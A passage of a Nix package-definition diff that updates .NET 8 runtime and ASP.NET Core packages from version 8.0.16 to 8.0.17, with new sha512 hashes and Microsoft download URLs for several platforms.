-        hash = "sha512-MofzgXDj9xPc1cm9RpzvOMeBLqfQEIOrctQMauI5CvoH8cVZdQWEo7EDCkWiJvKJjBKhStQ8PFiJGymmf0aPsw==";
+        version = "8.0.17";
+        hash = "sha512-F4qOt3rF+aVxj+cMT04cc9GsLEhdcM36I7rAB05tHjxpYum29Cd52UL1E02n+Cb3AMWaOkFm3uZKbnuWHhCOMA==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-ZpUWmllmq2HR7eY21ettHwFv3BapesdBsI76kjtGriNOivMQwWd1/21ss2PeKFd//HNZ0SjMAX/AUPoc6qUl0A==";
+        version = "8.0.17";
+        hash = "sha512-LnqYt32luIPGBIHWqkQqZII4JyVH2eV1cciCIsz/o0GSomy+IGPw8QirHSFchQhm9qIgS7swoXHEnBoVcXDa7g==";
       })
     ];
     linux-musl-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.linux-musl-x64";
-        version = "8.0.16";
-        hash = "sha512-TabUjPzfTmIpttDvd1ibCakKZA4iGxPYayFnjecfbenQlL/5qRFLW2HZ7aRGdMtPwKfp1MRmcTlwN5nHiPEavg==";
+        version = "8.0.17";
+        hash = "sha512-N5OgMVCqVq8v2L2LFcriguocIU98C72giD0eKgFirCst6beO71PU8sJyYNjRknl+L4A+uhDUsZfpLONDMz9vVw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.linux-musl-x64";
-        version = "8.0.16";
-        hash = "sha512-C38paqrnwY57InUeWK+PhcOGyAxHnHpltyQWZ+urFGhkBN9PjcLh94xL5Th6BROgLeaeAPIZkDD1nTfZtPFZSA==";
+        version = "8.0.17";
+        hash = "sha512-bosx45pWfzEme1le8Bm75n6gAMSrlCe9+NmRoo5f/ZrpsPZq7zRaLVRlXB5XKi36Suq7BQjsJ67ubGNqF+Iz+g==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.linux-musl-x64";
-        version = "8.0.16";
-        hash = "sha512-ZaTZo7CUGUmW1uXppfGAg/zFuoSyyDEXP+CRKaWcpNdE0DDoZtQBuonrjHrmKJ4g2sdgpOErbD/qDa+pVsnSsg==";
+        version = "8.0.17";
+        hash = "sha512-5EJos1FnyGO5/7tjtF4MdniGBr19ZehLUwhblPnGTx3kyGPf+imGpA34HmKB0Lpf53nYXDBOiWrqUHl/dURarw==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-jR7uaCNjagiMvrU0dSL88yogPSjbm+JUbtaQ7jx7c7xLCDvW/3rdZpx0lIAL6yxSRCPkthOSf8Rt2unoam2A0Q==";
+        version = "8.0.17";
+        hash = "sha512-FpLu/8+PcuX8fNcnCGDED2WWbrlNvV9dpiZ49e9rAcDBlYg9aoNBEGGP9HJ45uATmJW/V55BtNxGJKXucceAMQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-Pan9aX4Hd37diyf9V2APLS5UpuPWnSxVjjlnpPUcyw0ztWCpVivQwSme8aEzn1SAnWnQ/88le9PtAEgJvG4juw==";
+        version = "8.0.17";
+        hash = "sha512-uh9Xyw8G1nbUdmTUOeiDyn7LXBrEO3slJJwkRC19AqirVspWFWuDliiIj/GAStnF5EDYepgfgC2WeTr82hnQMg==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-BtpDN3TeBLsq96C4magsVnNIb8mPXW4rYk2wLK372tAD7Hiycm9eBYVdaLoYhEW1Ct4erWPFo284Hpl1X0Gq3w==";
+        version = "8.0.17";
+        hash = "sha512-JXyOaJZcJQvu+UvZrLDeXY+QgpgMSqBGvL7oKDfvJazL9wKIJDA6A68v8RfSlLTyiO196XrV3XWNTbCC5CWtPQ==";
       })
       (fetchNupkg {
         pname = "runtime.linux-musl-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-k7+KT81WP9yepIARsWCNRyK1Z8f0l5hRfAUbtmKIZZF8Zb9hZBeQ/wfc8hDvG+Av9abOnvVDOm8oWod14MpUUQ==";
+        version = "8.0.17";
+        hash = "sha512-Fkm//A57PJApgtg7jUySUGtz1arRGwXipRpl4lczOuol/hmKb6FL9eN6fYNYsU/LiA+xP0d72prlTyYEifRPHw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.linux-musl-x64";
-        version = "8.0.16";
-        hash = "sha512-juqAOH138FUGV8IBgQXDp0pg6GS3H6t5zAaaovoKAhZpvAlAKdLitPKCkWfaiVzqRCMljRMaNTLq53U+CtMBbQ==";
+        version = "8.0.17";
+        hash = "sha512-AqkVaugZa6Tt4z+yeGqqlSlhDw4Q3gtPdXNFu05fLjAQi4zAvCccOpjMmwca41Zteiu9qGkfQwFDyO1LQXThMw==";
       })
     ];
     osx-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-arm64";
-        version = "8.0.16";
-        hash = "sha512-wuAC93N+hDc0H1wD1IHdkSMokwuOxTGwfVNovQkfGLcvWB+hWSqYwn3HlAooVGi+juYMqgFgCwSUqj9UXzPPMA==";
+        version = "8.0.17";
+        hash = "sha512-ViTDLKPx1YPdbj1xTx6LSXLJ4y+LQKfbrqRNw4PN96i7dcRviRt60R7BKfV+sdsDOaQtYDhUr8/1CGPaa9SnDA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-arm64";
-        version = "8.0.16";
-        hash = "sha512-JTtZzjHmXFqUYP/Z9FcfUuh7ZVw0Tq9sW3amlYNQWKggIGaaCQsicKN5VqTo1rbWrbGibu4DbcSUlkvQydpeOw==";
+        version = "8.0.17";
+        hash = "sha512-tGoCDChhmw1PPPpWNYfo7tjJBy4NIRkgkCuSXPBUiLNcKmkeMAhA2N2MUvVKxhoayCL1K49clw2CDFG1YSDC4A==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-arm64";
-        version = "8.0.16";
-        hash = "sha512-b0Glt0ehO8tmRx48RPp7fQOw/05LHN0u/rJxbnFcaj++6huetGxyFy3RDm/xnr/PB5Td5qENk0ZqG360ZLFX3w==";
+        version = "8.0.17";
+        hash = "sha512-jSQpm6cwP9IbEc9/v2esVv2NJ7O21CklPxOjHSWvM6VcwH3/vAEy21wX+JOM3G4euTWCKxMxOTAU5bXL9fpV+g==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-BVWMbeZ0tS2t1ze2y5f7vD64uJwWwc92yu647Tw3LVxMDp4Dz4bzduDNcH4+Rxs4hGRHt2cwRRfM2NGxnydX1g==";
+        version = "8.0.17";
+        hash = "sha512-ejOqr8hAO2d1Sxxkn9d+xiVLCeQ4fkBOyTEsgliMkFnrJaxFxdV+Q1I7RtoYWJH/DoseqVW5vn5CAgGnY7yPiQ==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-quU62eUZW2ls3EouhRllGQOhIL1DkjgYT8R8B6Yv6gXnQzD9Kaixq9FmCgSDoG8GlZUrh9jro8no446j99pMqw==";
+        version = "8.0.17";
+        hash = "sha512-twUxbIlZzPNoJx/nxQlx98TiW1JV6NnpHqvgQhGE3VloeEE5AiPUg+UVpKa42id/K3GEzOpQ8CGAnB+phyOhwg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-puv/ricB6SdP3NKk61bwWXcpP6Q58snrpFZCIOxj6mAJwl8RsdR+0GLPyR0qTQKhnuE9ZY83bGaQEPn28CHcag==";
+        version = "8.0.17";
+        hash = "sha512-o/P+ZRj6LjjGJdaazlvz/ysRQumAUbrfOmXLQz17RExXc6Ikk7yQ3l7EJAuWO7U9LwlU5ubXs6uVqtKyv7vnHg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-pbULyCi7O6A1h1PIkaTq1q5E+JKzr4FkAO07t5C282BeLd4Zh91Dgi48iGdun0lYFU9LEMQ9oLl4EHr0xAVCCw==";
+        version = "8.0.17";
+        hash = "sha512-sNM9LGQom9BS5lEV9VQt3dTweI6q+2fgdfnjAaqmMCM2un4aKT8vNK3oegOEPhigBQp5GB7Z7+CgVBhYiLiEhQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-arm64";
-        version = "8.0.16";
-        hash = "sha512-m81w4eMl4VxnH+2goP0FI13Wrh9OoVGV4kiOsmdR9/KMik9WKsb4eeqj7OFXR2Um8QIlUA8z9pAqv8VkiphnSg==";
+        version = "8.0.17";
+        hash = "sha512-NvQn4WyGdNXAVaUYu30XY/XQqTWe65HGMDKNAxVsYbNUiNecXjE3ZhkiRyLa9HU4l+6n3ouNNzYHg1Z9MPukpQ==";
       })
     ];
     osx-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.osx-x64";
-        version = "8.0.16";
-        hash = "sha512-n4PzbC+wqBZnh/v3Qlr4tjuJDnEL1uTJHwyDmBEgoBxPlImBYaZXhjjPN0h3e7nlPqfE/fP0axGGNrqm2jIrVw==";
+        version = "8.0.17";
+        hash = "sha512-lsYscCD0qR6XsXqJrM4evxEB4qNSu5QEvH1mb6JK8iQN05kW05CYP9IfBBVzQR3+iik45gnwjUFrokNnl9LMig==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.osx-x64";
-        version = "8.0.16";
-        hash = "sha512-CLwd+6uc3SFGdlZg6hWoIsv/pyCJej3k22vYbmz1kphIpvJjkcQQbHKrEed+mR3ruTtGHAtEc3ALvTfFRNGwOQ==";
+        version = "8.0.17";
+        hash = "sha512-A3RrznTiIIpaE04b1cNY6Bx3pEmAqa9ig9xwoUuAlH/brYtOuvo3JoehwVgpfZm7dzMblRPuvu1J9SVagyNEdw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.osx-x64";
-        version = "8.0.16";
-        hash = "sha512-iK+92YNFakNasLgMxjPA9B34/188ur/Cr1qNw9KStNqQ/t7h0af+LpCh2CY9Tb9rtiQ4JDa4lhAHnRdF6mgF4Q==";
+        version = "8.0.17";
+        hash = "sha512-pvPS0TivFj3n6V+v0ivlhOc1HvkZnQBnnH6y9TZCw/nkkKjuTJpjS+x5xWHy4yLgdB64hfCpfc6g5578ib3OGg==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-n7oHeX8D3Qmk/YQPZ6isIXLM0sCKNLRczAjoP8hfmmnE/bYk1uhFbxhPROelIN/tfC1G0yGmiNLXYdzL17q9jQ==";
+        version = "8.0.17";
+        hash = "sha512-X0Mt5TbPJlG6LzwHP/98DB+TqCwF5toyO40QLZiaWBWH8gdkXxZsnqSwHBixe7jEDB9knpUQs3nWvG1wf9YOCA==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-F8lb0QVbYAcWrxCxGAkYqS8F3QWqrhX6AmuqvYG4hBki3JisiuCRhCqJeiVgbPXk8fl22hf8i9sDQaJSrBXDbg==";
+        version = "8.0.17";
+        hash = "sha512-LtMIjhBaZld9EX8YChaTicl79vEo9ci+H+16xqWm6ksvYyx0vbameWRWXQ3i4KgUm/klwYkzGeKVzzll53itgw==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-9o5ign74HxWNBsT3Cdvia+VVBdATPhe006LBCh3xeULtcdYIFpKdvHO5sGsxHPp5WdKG/kuH1LunOkbO4mmIfg==";
+        version = "8.0.17";
+        hash = "sha512-qxknZ2pQrvLXxASaCeyy5Ox9rb27jzwh4DAu+I4pQRl7qSfBVmqLtoAtZ6tSBj6crAt8/5q7mW16Av2RejDk3g==";
       })
       (fetchNupkg {
         pname = "runtime.osx-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-q22oMVxWzD5aLlZDPAAsuuoOFrCtHpKGsHXxsVontq10lmFiRhkM01V46vhJE99gzUjEK3rBXEb3LpH1KEnOTg==";
+        version = "8.0.17";
+        hash = "sha512-qWhils4j4HijPnFQHpmeOUudYMbX7BrYZedABWp3Ddsf5xoTLPSzUTssPFgrX5zhuI0eC+ACXQDCc3RRe16PZQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.osx-x64";
-        version = "8.0.16";
-        hash = "sha512-o6TXTHX9Uc8BdIdzsNR5cQVK6al/Q0lHlKRROtZCY2nP7vRpC+D6+/lUBh/Kvny+dwQQ662wCJrs2Ya1XoWF1g==";
+        version = "8.0.17";
+        hash = "sha512-b2jQNPpO8zaXgyvO6uG6ABXWO1qRYJvSiZWMXlxzAX2FCOR2AqfNiMbuJOscaqRyo1A5EZl/mKhNWbjvZ+Ie8g==";
       })
     ];
     win-arm64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-arm64";
-        version = "8.0.16";
-        hash = "sha512-Kh9Z+U062mBYGkXrZrG4/rIp8jfglP2GfPr+a2SgDuF7G96y/wrFcXMhtpvkdj/6PQxX8MrrPHMVZ4wml1ch8w==";
+        version = "8.0.17";
+        hash = "sha512-Gn4GGWnOSo9W/5GfgqwWEyZ1AwV6JVc4DBcq+IbPTZviND+0j5ZUJsF2xzPcgEYre8XYFR+tf4KqV2S+t9DRCw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-arm64";
-        version = "8.0.16";
-        hash = "sha512-fXEfLzBw6xHfliy1XoqxX1N+OUBihYilCQeEoR1yRCNSeNXnSHdPT6pX3reS6qI7F49pN35s68sPUfCWLFpNNw==";
+        version = "8.0.17";
+        hash = "sha512-9ef3DABF5Em5tOne761hyzBpUrOnWuucfONtUsxUWq2pZiGpk9AoaAOJxf766qdQWL1SQ0sJYRGhpJ7YfKX8Og==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-arm64";
-        version = "8.0.16";
-        hash = "sha512-PNnCUYpG0auWMefWbyH/TYJZrKNJziqNbfIQ6IfJBL+2hYfme3xCEn116fsG0nht61gGvlSF0ZL2MX+yTCyHLQ==";
+        version = "8.0.17";
+        hash = "sha512-E+7CArIcwuTmkSfCdZneueDRZy3pT77DDZXvwuIDTyojOrdGVlj4hzpqSzmqmTnr5Cg8uT34XxnYOH1cAQiljg==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-ZWcEzJrU2fGE5nqi37Ms2Y6QA7+e33kl6BFmf+iApJGFDQOiE9u0JmmyGXQ4r8yfIjfHiQIvPYNFvCMs5n2efg==";
+        version = "8.0.17";
+        hash = "sha512-X3/73Flriad7tsa6o4GXXG0JMz5M1gaJQ5wXatZk90P2Eg3uDLOnqb6upr0x2495gDI4aLPPmDRvaArZoA3w+w==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-7WwAk1dSgfWwir2Mdl5S8sAl5s9fDyRq5o9QUdqa71OxDdl6UtUkOzF5R8aHo1BXs0qM2SXJlf9Fgp9u3Bk9dQ==";
+        version = "8.0.17";
+        hash = "sha512-1/aUPzhPQ/bKVm5NoP4dNfc9B/C3eqRu+gv6bLroPxiS1JjHKL/iG4aPeFP/Gr0zt546bKd56Ac9t0S+ZpgjeA==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-+0Dm9S2hIlqePk2mkdlOaAlrG0UkCwJotbUv9535BiC/qbPO6SY0izAHX1dZL6LPoFKBewZ1aoQMtrsF9xAzQA==";
+        version = "8.0.17";
+        hash = "sha512-u+V7Vazc9T1yrKkAtGgCaVrm7777F//PpYlXlKi8LCEMmzsjgTqXDv+96blOjqNfFFG5nDH7Wrfy/EuNxbggEQ==";
       })
       (fetchNupkg {
         pname = "runtime.win-arm64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-BauQzQcup2e1iRILzm1XU2zqgFeQ9A7mKAlFY9XQVxtEWlRhQ1047lkvf1E1qmPg7S82HfigvC+tFY2+BJi/Ag==";
+        version = "8.0.17";
+        hash = "sha512-it7TtIOtYcV5XwMQKpIsD1mKrqUimH4VK7uJct4sCZGjxfgrhf07l/yI91A11WVJubQHK5cq7KeCirqGoEtAsg==";
       })
     ];
     win-x64 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x64";
-        version = "8.0.16";
-        hash = "sha512-OIZrbirMArYlnOV8X8AdhVaCvhumkaiHMTCivh+J4bY/mUXZ1GZw41wWpw1Rhj1AZWl2DSa1jyGphtCSgwycRQ==";
+        version = "8.0.17";
+        hash = "sha512-hCDJrREXgVISf2dXVj9+0NGUYr/Hk6HH0pE75ubOaQO42n7gH1EyuhF7fgMKVCjhnYblRML6WKuVDIbkJoUbtg==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x64";
-        version = "8.0.16";
-        hash = "sha512-ig9SH+K2HVzuER+P6jexExvt1wOAR0tmZQwD5IEs2RO0s3BVOPwxJc5QjqixPP7oZjvAMK3Lm/Vy3QlVpnVpGw==";
+        version = "8.0.17";
+        hash = "sha512-FqJc/4qewgmg/1yamy4kyTvTntC1e+qN92mN1co8BT163ZkWV9RtGgvgb/yD+0th3/nOEb+xcu7EVNNxzTJZLA==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x64";
-        version = "8.0.16";
-        hash = "sha512-1zB+91bQGwvUb+hFzPAdVh9J2a6sqM+cljDeh7Yw1nG2AoNt4UZr9AQ1WaCd7z7sE628J49JH8xEPrJkig2qzQ==";
+        version = "8.0.17";
+        hash = "sha512-0j8M6HzQLzZPvWl0TM0VlsWVtMGrKNrLPgmOcu8vXz4QoMq4A2y2md3cmdpX5PatjcEwKRib3pg0iGVyrefDgw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-e9XIuQAjb7cz1WCdBVH+/CP8ndn4SnsXGc8bLlEMUCL3bAUplL2aG56gIeGRwYJP+AcfAEvFkHNnzEC7JtOrQA==";
+        version = "8.0.17";
+        hash = "sha512-yQVr2/oC7L2zGbX4zG7z0cclJb1YALFciH3U8zc/eS0Ta4CmAXREmeTT2JaqY7U9hAEz8f8TzzX+JtB6W7PADw==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-+8EYnxw6v1x8sHtsELUqUda3dcomNY5X9fQc5VDew+9bh84lbTeexQEWUBAjkmrz3JLDkh1g0hLS42SS/P/wrg==";
+        version = "8.0.17";
+        hash = "sha512-vVJFuE0gTSWBpZr3Qx6EitWtvIXW5BMyorvOSmOV14laSaGuhrddbz1OtbQ2qTOw2++z2AoIIRzKNiyDZ54jLA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-Hd4LNJLmrzLkhoBTjAI2kGQ+/1sXZLamflSEAVh9GzOkoYMoKqfCxAZNYUJwPgIzXm1iUnC+yfyP+nJJRrUd5g==";
+        version = "8.0.17";
+        hash = "sha512-piZCbDE18Ca9OjU365hOClMWArbcXmj5Qk7oXE/4pXY2Mrdoo9R6IKQo9QT5rZ7qOO25W2X49fC2NCpt9WR1Cg==";
       })
       (fetchNupkg {
         pname = "runtime.win-x64.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-4IAmnrKN8GRF3VrMuPkIMJsG9qvUcZFqrRFDjpMFft0n+A0eq5Szyx+B9lG0EYWE0UZuJQOsNyqs3D5dVFgUvw==";
+        version = "8.0.17";
+        hash = "sha512-e77ZoQafeMCWXiQ4pqeWAS969lzHjTO/Nl0ISpmItUBXdSkrOaThpWew4hp2AuS98U3wv7yAb2snPOOBkRRuwQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x64";
-        version = "8.0.16";
-        hash = "sha512-rCxgwEzg33svrD6JvyIqiiYGIo3+vpwdAupgkdOrBVZ6xJ7D3NeqcStXWVs97n60+fvUC7bb4Bwl4dJ/KQYb1w==";
+        version = "8.0.17";
+        hash = "sha512-gw2FwvqE1xSNnFdCQ1PE1AZjdjmwi8Qo3trC+xfnfHy89/ljYXbkoyeIQR7irDllbJwlmI4gAKbwHFXYLO7I9Q==";
       })
     ];
     win-x86 = [
       (fetchNupkg {
         pname = "Microsoft.AspNetCore.App.Runtime.win-x86";
-        version = "8.0.16";
-        hash = "sha512-Owmg0DKS/rSWDUwNt7+MUtagUPdJwipxfPtGKzrkzw/xvxsmw7ACqmt7ONqAXCz3XP5MQBRo/CLhw3u9eVAh+Q==";
+        version = "8.0.17";
+        hash = "sha512-4+mkaFTIo0hySyHps1L8jaeHS7otI51G3J2Jwy9hYY2tGlYCRmYJm75KjMCgFjaijuAuv90xRME5bxSw3JIzRQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Host.win-x86";
-        version = "8.0.16";
-        hash = "sha512-YcXpTXwEQbqvQFBWv8VC6rKvilmelGBphR0KUNzanN64uJL/uC975jCytnFlkqHGguor8OCzVkSDG7TIOfldXw==";
+        version = "8.0.17";
+        hash = "sha512-V5rRhz0of2jLYzhsNtABdw1ZhRjN9EcDeFzX4baN9eWrgR6IIt+pq5SCpPMm+qQJLH1IZDoS6ZwmcBVTs3aGWw==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.win-x86";
-        version = "8.0.16";
-        hash = "sha512-ohiHhvm9mZNZfSIOcoD8rkaabXJ9LqDB269y5pfCpM0kRohj6WQPS6cpPn181jxMLOlplYlE2+piJ8quAZfUAg==";
+        version = "8.0.17";
+        hash = "sha512-DVkgTu0W/491HH++XjvPJh+tbGjHS/NAqEyyFNZtcepvskdQG3tiazPvBrKAhe5HfO6xCY65TykNy4znepkXyA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetAppHost";
-        version = "8.0.16";
-        hash = "sha512-crVLHltFGP19DUYri0zM1MN4x6PluOLaoN3Jbc+DTtIQ11GBtBVPUP9p02Km2m+iismSZ4W2bZQZ+WJQC2wbKA==";
+        version = "8.0.17";
+        hash = "sha512-IN34IGuBDaTS0V10Ny52Fw+Fit4+onsnfceySIYoNH5p60jEMGbyXXMIQrhqvw4eIlaIKOTNwSo7cmvAcz7N9Q==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHost";
-        version = "8.0.16";
-        hash = "sha512-Keme6iMgYtf+4Z42/waSQw3tQZ6S4fzvT9A3DwZXuTWhThx7+L9HRLZ5jrn5VhWVralHTFvriS5PtV3aJXJWtw==";
+        version = "8.0.17";
+        hash = "sha512-izNgoKUSHtsl4N2J1L0WjaclTj1myk43zFIKie+y/+0uYDJ2QQL+pL9c1pOpHs/FKXDySLt8b3jtj1mOgcHEvA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostPolicy";
-        version = "8.0.16";
-        hash = "sha512-TAG7BJ/xiqqUWJ9C7Why1eMi3ctsGJYgfmMgyTc7pk2zw6ZphR/vddldzYAjLX5Tzy9wHjVtRThBTr0yw7Pn7g==";
+        version = "8.0.17";
+        hash = "sha512-0FgjD+98nDYlSqXqP1Emka7T7LfpvSrYz1ag/fBBpVqZmmekpV1BM1rXQKDB6ruSkmmkMn41UD4MrvXykzYmZA==";
       })
       (fetchNupkg {
         pname = "runtime.win-x86.Microsoft.NETCore.DotNetHostResolver";
-        version = "8.0.16";
-        hash = "sha512-azCJIT0ar8N7F8QWEVWgbgS/ZwJ4BaCClcALWC3MNFdcA4cpGiWunVYROhuCe144P4NEKqQo7kmesHY7ml1rjQ==";
+        version = "8.0.17";
+        hash = "sha512-gCqz7CcfeAP87TsYVTc58vmINB8CY4KSG/pLiWycqrIZHmsdgw6olcCe/xbcm2N1mSMaD9pfMMkAI9nHDn36RQ==";
       })
       (fetchNupkg {
         pname = "Microsoft.NETCore.App.Runtime.Mono.win-x86";
-        version = "8.0.16";
-        hash = "sha512-8OnxZ9IQIwUt3uaYCMHQmyrwAi3opxGriQ/98DW5cJJbU6asG8wdtGwGGRtcN2rx7aDplXhkdctSVKUVHSCvtg==";
+        version = "8.0.17";
+        hash = "sha512-YEx7Me3MPRkXTNcIJ6ROh6lxN0f9V3zc21Gna0UzlImMYtL74qdCSnpV3ztLGuDMKJZYYQmCbpVb5kmxxSMIGw==";
       })
     ];
   };
 
 in
 rec {
-  release_8_0 = "8.0.16";
+  release_8_0 = "8.0.17";
 
   aspnetcore_8_0 = buildAspNetCore {
-    version = "8.0.16";
+    version = "8.0.17";
     srcs = {
       linux-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-arm.tar.gz";
-        hash = "sha512-HfSe3Kpesa+ubpuTWgQYvEqT4Cu96DQybBoGYJXPKOdgfV0cqK93canS6BYx5Jkxp7+ZhJyJEHkd7utqmQJ1xw==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-arm.tar.gz";
+        hash = "sha512-EwhWW7qG+JHlwU/iKVzJ57jgxygwyPqy1qDVkd6WZ9jEV4RaUPZvBdMhik0rHdQ7CK44ENhnLFpaN4n0bssY1Q==";
       };
       linux-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-arm64.tar.gz";
-        hash = "sha512-oRXg5iU86n6aSB7YL1f8lkE6pQznQHkyEoy6FTvfSuwb2M25wE0pD/APhURCn+rIa6bo0rDxZ0wlW9Y2wsfm3g==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-arm64.tar.gz";
+        hash = "sha512-TxpEHkALYPgUoWHScYwlmbTUkv/+XfWl2KSUzsVTrTV0wJiOncSav4ySi56Xg6hvVQbLy98S0k5WIJCWms7TxQ==";
       };
       linux-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-x64.tar.gz";
-        hash = "sha512-AlbKxBUazW/8grC3tkIfMEgXtv3C2csjIBjPmT5A2msijUFTl90bGzSFnP/h2Px717tHDfgRKDdOXJRKFMWDYA==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-x64.tar.gz";
+        hash = "sha512-spLepS9wA1u3zMgsHtkI+whHU+sI9mLHuy6SBuIvOWqmEdtlc+gn1cXP8hWQgQtm6uDq2bU0vD+PxpX2X0fyjw==";
       };
       linux-musl-arm = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-musl-arm.tar.gz";
-        hash = "sha512-TVMCx2nSQmKtt8HhqSDAWNmLnmdC3t/rKiauHoSkctYs4l0TfoXj6hctZ3e5G/9n/ooGMl6xYrDKs3CQ9eik/A==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-musl-arm.tar.gz";
+        hash = "sha512-DEsWquOo/z751KXI3qM7mw/rS2x2dFhB7Npyhj7BZvGm1VnhArdELf/B/yLIpVzn7jrXsV8MdWJRVruTGP6UWQ==";
       };
       linux-musl-arm64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-musl-arm64.tar.gz";
-        hash = "sha512-IiIKQlFGuspdr7QZNHe/DE/sO57Zyps0Bzn1yngMQE++yByX/qfPMeZm5C0pnQFzP/OeZBkytkLkvCEfVdqGQg==";
+        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.17/aspnetcore-runtime-8.0.17-linux-musl-arm64.tar.gz";
+        hash = "sha512-6eyDEAZZUCxhFJn5JL/EdMLmSRtRjtaXOZGcCXp5m+57Sk3SPtsfDnho+86RmOSx0WVF7FFEpVuYIMFmWw3Phw==";
       };
       linux-musl-x64 = {
-        url = "https://builds.dotnet.microsoft.com/dotnet/aspnetcore/Runtime/8.0.16/aspnetcore-runtime-8.0.16-linux-musl-x64.tar.gz";
-        hash = "sha512-L4Vp4TNb0lock75SNk3ROGxg1wxfkFyoMAkxJd4gv9mb4ICM+Y9qr9agvwhnli10NqVOp7jrQqb7Me61sI45og==";
